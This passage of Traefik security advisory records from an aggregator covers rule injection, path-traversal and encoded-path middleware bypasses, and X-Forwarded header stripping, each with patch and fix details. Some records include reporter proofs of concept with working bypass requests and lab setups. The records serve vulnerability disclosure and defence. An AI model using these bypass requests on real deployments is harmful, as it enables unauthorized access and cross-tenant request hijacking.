tree beyond literal argument content, especially across listener hostname-constraint boundaries in shared gateway deployments.\n\nactual: a backtick inside a header/query match value can inject an OR branch into the generated rule, changing the ast root from `and` to `or` and enabling hostname-constraint bypass.\n\n## severity\n\nHIGH (impact ceiling may reach the top severity tier in shared gateway threat models; end-to-end kubernetes reproduction is recommended to demonstrate cross-tenant routing impact).\n\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N = 8.7\n\ncwe: CWE-74 (improper neutralization of special elements in output used by a downstream component)\n\n## affected versions\n\n- confirmed vulnerable at: a4a91344edcdd6276c1b766ca19ee3f0e346480f (pinned commit)\n- release matrix: not yet confirmed (needs version mapping for gateway api provider in v3)\n\n## affected code\n\n- `pkg/provider/kubernetes/gateway/httproute.go`: `buildHeaderRules` and `buildQueryParamRules` build `Header(`%s`,`%s`)` / `Query(`%s`,`%s`)` without escaping\n- `pkg/provider/kubernetes/gateway/grpcroute.go`: `buildGRPCHeaderRules` builds `Header(`%s`,`%s`)` / `HeaderRegexp(`%s`,`%s`)` without escaping\n- `pkg/provider/kubernetes/knative/kubernetes.go`: `buildRule` builds `Header(`%s`,`%s`)` without escaping\n- the generated rule string is parsed by `pkg/muxer/http/parser.go` (predicate-based rule parser)\n- github permalinks (pinned):\n  - https://github.com/traefik/traefik/blob/a4a91344edcdd6276c1b766ca19ee3f0e346480f/pkg/provider/kubernetes/gateway/httproute.go#L742\n  - https://github.com/traefik/traefik/blob/a4a91344edcdd6276c1b766ca19ee3f0e346480f/pkg/provider/kubernetes/gateway/httproute.go#L761\n\n## root cause\n\nthe kubernetes gateway provider formats rule strings using backticks as string delimiters:\n\n```go\nrules = append(rules, fmt.Sprintf(\"Header(`%s`,`%s`)\", header.Name, header.Value))\nrules = append(rules, fmt.Sprintf(\"Query(`%s`,`%s`)\", qp.Name, qp.Value))\n```\n\nif `header.Value` (or `qp.Value`) contains a backtick and operator tokens, it can terminate the literal and inject additional rule-language tokens, changing the parse tree.\n\n## attacker control\n\nattacker-controlled input is the kubernetes control plane object `HTTPRoute` in a tenant namespace. the attacker controls:\n\n1. `HTTPRoute.Spec.Rules[].Matches[].Headers[].Value` and/or `QueryParams[].Value` (string)\n2. the payload content, including backticks and rule tokens\n\n## impact\n\nin shared gateway setups, this can bypass gateway API listener hostname constraints, causing requests for victim hostnames to be routed to attacker backends. downstream effects can include credential/token capture and request forgery, depending on the workload behind the gateway.\n\ntraefik's documentation frames gateway API as providing safer multi-tenant primitives via listener constraints (see https://doc.traefik.io/traefik/security/multi-tenant-kubernetes/). rule injection breaks those constraints when they are relied upon as a boundary.\n\n## reproduction (attachment: poc.zip)\n\nattachment includes `poc.zip` with an integration PoC that:\n\n- shows canonical behavior where injection changes the parsed ast root to `or` and routes `victim.com` to the attacker handler (emits `[PROOF_MARKER]`)\n- shows a negative control using injection-safe quoting (`%q`) where the ast root remains `and` and routes `victim.com` to the victim handler (emits `[NC_MARKER]`)\n\nrun canonical:\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake canonical\n```\n\ncanonical output excerpt:\n\n```\n[CALLSITE_HIT]\n[PROOF_MARKER]\n```\n\nrun control:\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake control\n```\n\ncontrol output excerpt:\n\n```\n[NC_MARKER]\n```\n\n## recommended fix\n\nencode rule arguments using injection-safe quoting (for example `fmt.Sprintf(\"Header(%q,%q)\", name, value)`), or otherwise reject/escape backticks and other rule-language metacharacters before interpolation. add regression tests that include backticks and operator tokens inside header/query match values and assert they cannot change the parse tree.\n\n**fix accepted when:** tenant-controlled HTTPRoute match values cannot inject operators into the generated rule string and cannot change the resulting parsed ast structure.\n\n\n[[poc.zip](https://github.com/user-attachments/files/25698814/poc.zip)](https://github.com/user-attachments/files/25698814/poc.zip)\n[[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25698815/PR_DESCRIPTION.md)](https://github.com/user-attachments/files/25698815/PR_DESCRIPTION.md)\n[[attack_scenario.md](https://github.com/user-attachments/files/25698816/attack_scenario.md)](https://github.com/user-attachments/files/25698816/attack_scenario.md)\n\n\ncheers,\nOleh Konko\n\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-11T14:49:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-8q2w-wr49-whqj","https://github.com/traefik/traefik/releases/tag/v3.6.10","https://nvd.nist.gov/vuln/detail/CVE-2026-29777","https://github.com/advisories/GHSA-8q2w-wr49-whqj"],"source_kind":"github","identifiers":["GHSA-8q2w-wr49-whqj","CVE-2026-29777"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-11T15:00:09.545Z","updated_at":"2026-10-17T07:10:31.875Z","epss_percentage":0.00394,"epss_percentile":0.31517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cTJ3LXdyNDktd2hxas4ABTer","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cTJ3LXdyNDktd2hxas4ABTer","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.11.40"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.10","vulnerable_version_range":"\u003c= 3.6.9"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cTJ3LXdyNDktd2hxas4ABTer/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ndjhyLTlydzktOTY5N84ABSsS","url":"https://github.com/advisories/GHSA-gv8r-9rw9-9697","title":"Traefik affected by TLS ClientAuth Bypass on HTTP/3","description":"### Summary\n\nThere is a potential vulnerability in Traefik managing HTTP/3 connections.\n\nMore details in the [CVE-2025-68121](https://nvd.nist.gov/vuln/detail/CVE-2025-68121).\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.37\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## Workarounds\n\nNo workaround\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-20T21:14:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-gv8r-9rw9-9697","https://github.com/advisories/GHSA-gv8r-9rw9-9697"],"source_kind":"github","identifiers":["GHSA-gv8r-9rw9-9697"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-20T22:00:08.597Z","updated_at":"2026-10-08T07:50:53.997Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndjhyLTlydzktOTY5N84ABSsS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndjhyLTlydzktOTY5N84ABSsS","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.8","vulnerable_version_range":"\u003c= 3.6.7"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.37","vulnerable_version_range":"\u003c= 2.11.36"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndjhyLTlydzktOTY5N84ABSsS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nbTN4LTIzd3AtaGMyY84ABPSz","url":"https://github.com/advisories/GHSA-gm3x-23wp-hc2c","title":"Path Normalization Bypass in Traefik Router + Middleware Rules","description":"## Impact\n\nThere is a potential vulnerability in Traefik managing the requests using a `PathPrefix`, `Path` or `PathRegex` matcher.\n\nWhen Traefik is configured to route the requests to a backend using a matcher based on the path; if the request path contains an encoded restricted character from the following set **('/', '\\', 'Null', ';', '?', '#')**, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.\n\n## Example\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n  name: my-service\nspec:\n  routes:\n    - match: PathPrefix(‘/admin/’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n      middlewares:\n        - name: my-security-middleware\n    - match: PathPrefix(‘/’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n```\n\nIn such a case, the request `http://mydomain.example.com/admin%2F` will reach the backend `service-a` without operating the middleware `my-security-middleware` and passing the security put in place for the `/admin/` path.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.32\n- https://github.com/traefik/traefik/releases/tag/v3.6.4\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e### Summary\nA vulnerability exists in Traefik’s path matching logic that allows attackers to bypass access-control middleware (e.g., blocking rules) by using URL-encoded paths. I found this vulnerability while playing PwnSec CTF 2025 with my team @0xL4ugh\n\n### Details\nTraefik evaluates router rules before decoding or normalizing the request path, but forwards the request after decoding to the backend service. As a result, routes meant to block access to sensitive endpoints (such as internal, beta, or admin endpoints) can be trivially bypassed.\n\n### PoC\nTraefik configuration used in this issue :\n```[http.routers.flask-router-report-deny]\n  entryPoints = [\"web\"]\n  rule = \"PathPrefix(`/report_note`)\"\n  priority = 10\n  middlewares = [\"block-access\"]\n  service = \"flask-service\"\n\n[http.middlewares.block-access.replacePathRegex]\n  regex = \".*\"\n  replacement = \"/blocked\"\n```\nThe intention is to block all access to /report_note.\n\nHowever, the following request bypasses the block:\n```\nPOST /%2freport_note HTTP/1.1\nHost: localhost:62814\n\n\n```\n### Impact\nAccess Control Bypass:\nAny endpoint intended to be blocked (e.g., admin/debug/beta APIs) can be accessed by URL-encoding slashes or other characters.\n\nThis could lead to:\n\n- Unauthorized access to restricted endpoints\n- Execution of protected internal functionality\n- Potential privilege escalation\n- Bypass of security policies enforced via Traefik routing rules\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-12-08T16:42:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-gm3x-23wp-hc2c","https://github.com/traefik/traefik/releases/tag/v2.11.32","https://github.com/traefik/traefik/releases/tag/v3.6.4","https://nvd.nist.gov/vuln/detail/CVE-2025-66490","https://github.com/advisories/GHSA-gm3x-23wp-hc2c"],"source_kind":"github","identifiers":["GHSA-gm3x-23wp-hc2c","CVE-2025-66490"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-08T17:00:08.703Z","updated_at":"2026-10-17T07:12:32.740Z","epss_percentage":0.00439,"epss_percentile":0.36585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTN4LTIzd3AtaGMyY84ABPSz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbTN4LTIzd3AtaGMyY84ABPSz","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.3","vulnerable_version_range":"\u003c 3.6.3"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.32","vulnerable_version_range":"\u003c 2.11.32"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTN4LTIzd3AtaGMyY84ABPSz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cmNoLTg2OGctOWp4Nc4ABIbb","url":"https://github.com/advisories/GHSA-vrch-868g-9jx5","title":"Traefik allows path traversal using url encoding","description":"## Impact\n\nThere is a potential vulnerability in Traefik managing the requests using a `PathPrefix`, `Path` or `PathRegex` matcher.\n\nWhen Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a URL encoded string in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.\n\n## Example\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n  name: my-service\nspec:\n  routes:\n    - match: PathPrefix(‘/service’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n      middlewares:\n        - name: my-middleware-a\n    - match: PathPrefix(‘/service/sub-path’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n```\n\nIn such a case, the request `http://mydomain.example.com/service/sub-path/%2e%2e/other-path` will reach the backend `my-service-a` without operating the middleware `my-middleware-a` unless the computed path is `http://mydomain.example.com/service/other-path` and should be computes by the first router (operating `my-middleware-a`).\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.25\n- https://github.com/traefik/traefik/releases/tag/v3.4.1\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nPath traversal with \"/../\" using URL encodings (\"/%2e%2e\") allows for circumventing routing rules. \n\n### Details\n\nWhen having defined a route, you can path traverse using the URL encoded variant of /../ and reach endpoints that are not made publicly available. This issue has been found and fixed earlier with regular /../ and has been fixed in this CVE. This URL encoding trick works around that\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-32431\n\nSimply implementing a check on the URL encoding won't be sufficient as path traversal can take numerous formats. See examples here:\nhttps://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html\n\n### PoC\n\nSetup a service with two endpoints: \"/public\" and \"/private\", which returns a 200 OK for both\nSetup a Traefik proxy with a single route which points to the service using path /public\n\nRegular requests to traefik /public will return 200 OK and to /private should return 404 (response by Traefik)\nWhen making a request to /public/%2e%2e/private you should receive a 200 OK.\n\n### Impact\nImpacts all traefik implementations with path prefix routes that expose only part of the downstream api\n\n### Suggestion\nProvide configuration property which disables all path traversals. Steps:\n1. Decode URL\n2. Evaluate and construct relative path (do traversal before route evaluation)\n3. Compare relative/evaluated path to configured routes (PathPrefix/pathRegexp)\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-05-28T14:25:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/traefik/traefik/security/advisories/GHSA-vrch-868g-9jx5","https://github.com/traefik/traefik/commit/08d5dfee0164aa54dd44a467870042e18e8d3f00","https://github.com/traefik/traefik/releases/tag/v2.11.25","https://github.com/traefik/traefik/releases/tag/v3.4.1","https://nvd.nist.gov/vuln/detail/CVE-2025-47952","https://github.com/advisories/GHSA-vrch-868g-9jx5"],"source_kind":"github","identifiers":["GHSA-vrch-868g-9jx5","CVE-2025-47952"],"repository_url":"https://github.com/traefik/traefik","blast_radius":4.976409696540918,"created_at":"2025-05-28T15:08:27.995Z","updated_at":"2026-10-17T07:14:47.817Z","epss_percentage":0.00943,"epss_percentile":0.59556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmNoLTg2OGctOWp4Nc4ABIbb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cmNoLTg2OGctOWp4Nc4ABIbb","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.25","vulnerable_version_range":"\u003c 2.11.25"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.4.1","vulnerable_version_range":"\u003c= 3.4.0"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmNoLTg2OGctOWp4Nc4ABIbb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cDY4LXc0NWctNDhqN84ABHEL","url":"https://github.com/advisories/GHSA-6p68-w45g-48j7","title":"Traefik has a possible vulnerability with its path matchers","description":"## Impact\n\nThere is a potential vulnerability in Traefik managing the requests using a `PathPrefix`, `Path` or `PathRegex` matcher.\n\nWhen Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a `/../` in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.\n\n## Example\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n  name: my-service\nspec:\n  routes:\n    - match: PathPrefix(‘/service’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n      middlewares:\n        - name: my-middleware-a\n    - match: PathPrefix(‘/service/sub-path’)\n      kind: Rule\n      services:\n        - name: service-a\n          port: 8080\n```\n\nIn such a case, the request `http://mydomain.example.com/service/sub-path/../other-path` will reach the backend `my-service-a` without operating the middleware `my-middleware-a` unless the computed path is `http://mydomain.example.com/service/other-path` and should be computes by the first router (operating `my-middleware-a`).\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.24\n- https://github.com/traefik/traefik/releases/tag/v3.3.6\n- https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2\n\n## Workaround\n\nAdd a `PathRegexp` rule to the matcher to prevent matching a route with a `/../` in the path.\n\nExample: \n\n```yaml\nmatch: PathPrefix(`/service`) \u0026\u0026 !PathRegexp(`(?:(/\\.\\./)+.*)`)\n```\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-04-21T16:17:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/traefik/traefik/security/advisories/GHSA-6p68-w45g-48j7","https://github.com/traefik/traefik/releases/tag/v2.11.24","https://github.com/traefik/traefik/releases/tag/v3.3.6","https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2","https://nvd.nist.gov/vuln/detail/CVE-2025-32431","https://github.com/traefik/traefik/pull/11684","https://github.com/advisories/GHSA-6p68-w45g-48j7"],"source_kind":"github","identifiers":["GHSA-6p68-w45g-48j7","CVE-2025-32431"],"repository_url":"https://github.com/traefik/traefik","blast_radius":15.100829423986234,"created_at":"2025-04-21T17:08:17.949Z","updated_at":"2026-10-16T06:07:27.420Z","epss_percentage":0.00929,"epss_percentile":0.59551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDY4LXc0NWctNDhqN84ABHEL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cDY4LXc0NWctNDhqN84ABHEL","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.4.0-rc2","vulnerable_version_range":"= 3.4.0-rc1"},{"first_patched_version":"3.3.6","vulnerable_version_range":"\u003c 3.3.6"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.23","vulnerable_version_range":"\u003c 2.11.23"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDY4LXc0NWctNDhqN84ABHEL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MmM4LW1oNTMtNGNxds4AA_sN","url":"https://github.com/advisories/GHSA-62c8-mh53-4cqv","title":"HTTP client can manipulate custom HTTP headers that are added by Traefik","description":"### Impact\n\nThere is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.9\n- https://github.com/traefik/traefik/releases/tag/v3.1.3\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.\n\nFor HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\nConnection: close, X-Forwarded-Host\n\nDepending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the \"-\" to \"_\" signs, making it possible for the HTTP client to even modify these headers in these cases.\n\nThis is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server.\n\n### Details\n\nIt was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):\n\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Forwarded-Server\n- X-Real-Ip\n- X-Forwarded-Tls-Client-Cert\n- X-Forwarded-Tls-Client-Cert-Info\n\n### PoC\n\nThe following docker-compose file has been used for a simple setup:\n\n```\nservices:\n  traefik:\n    image: traefik:v3.1\n    container_name: traefik\n    ports:\n      - \"443:443\"\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n      - ./traefik.yaml:/etc/traefik/traefik.yaml\n      - ./traefik-certs:/certs\n\n  python-http:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    container_name: python-http\n    labels:\n      - \"traefik.enable=true\"\n      - \"traefik.http.routers.python-http.rule=Host(`python.example.com`)\"\n      - \"traefik.http.routers.python-http.entrypoints=websecure\"\n      - \"traefik.http.routers.python-http.tls=true\"\n      - \"traefik.http.services.python-http.loadbalancer.server.port=8080\"\n```\n\nThe following traefik.yaml has been used:\n\n```\nproviders:\n  docker:\n    exposedByDefault: false\n    watch: true\n  file:\n    fileName: /etc/traefik/traefik.yaml\n    watch: true\n\nentryPoints:\n  websecure:\n    address: \":443\"\n\ntls:\n  certificates:\n    - certFile: /certs/server-cert.pem\n      keyFile: /certs/server-key.pem\n```\n\nThe Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:\n\n```\nFROM python:3-alpine\n\n# Copy the Python script to the container\nCOPY server.py /server.py\n\n# Set the working directory\nWORKDIR /\n\n# Command to run the Python server\nCMD [\"python\", \"/server.py\"]\n```\n\nAnd here is the Python script:\n\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RequestHandler(BaseHTTPRequestHandler):\n    def _send_response(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(str(self.headers).encode(\"utf-8\"))\n\n    def do_GET(self):\n        self._send_response()\n\nif __name__ == \"__main__\":\n    server = HTTPServer(('0.0.0.0', 8080), RequestHandler)\n    print(\"Server started on port 8080\")\n    server.serve_forever()\n````\n\nThe environment is run with `sudo docker-compose up`.\n\nA normal HTTP request/response pair looks like this:\n\n**Request 1**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\n````\n\n**Response 1**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:53:49 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 556\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Host: python.example.com\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nThe custom headers added by Traefik can be seen in the response.\n\nNext, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:\n\n**Request 2**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close, X-Forwarded-Host\n````\n\n**Response 2**\n\n````\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nAs can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.\n\nMoreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:\n\n**Request 3**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX_Forwarded_Host: myhost\nConnection: close, X-Forwarded-Host\n````\n\n**Response 3**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:54:48 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 544\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\nX_forwarded_host: myhost\n````\n\nSome backend 